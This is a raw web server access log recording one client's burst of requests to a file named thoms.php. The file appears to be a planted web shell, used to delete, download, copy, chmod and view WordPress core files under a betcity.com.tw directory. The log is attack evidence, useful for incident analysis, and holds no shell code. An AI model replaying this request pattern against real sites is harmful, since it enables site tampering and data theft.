45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 200 12111 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?del=block-patterns&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /betcity.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?chmod=php-compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?dl=widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19035 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fconnectors.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fconnectors.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /betcity.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1390 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?del=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:35 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /betcity.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13425 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 200 18079 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /betcity.com.tw/wp-includes/build/ HTTP/1.1" 200 1284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?chmod=general-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59391 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?del=speculative-loading.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:36 -0400] "GET /thoms.php?del=block-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59436 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:37 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:37 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:37 -0400] "GET /thoms.php?chmod=ms-load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:37 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fregistration-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fregistration-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:37 -0400] "GET /thoms.php?del=feed-rss.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-json.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-json.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=taxonomy.php HTTP/1.1" 200 61823 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?chmod=theme-previews.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12552 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15612 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /betcity.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 903 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12033 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /betcity.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:38 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /betcity.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcanonical.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcanonical.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13107 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14521 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?del=comment.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=comment.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /betcity.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /betcity.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21907 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12842 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:39 -0400] "GET /thoms.php?del=plugin.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=class-wp-network.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /betcity.com.tw/wp-includes/registration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=atomlib.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /betcity.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /betcity.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?del=class-wp-role.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmeta.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fmeta.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:41 -0400] "GET /thoms.php?chmod=SimplePie&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
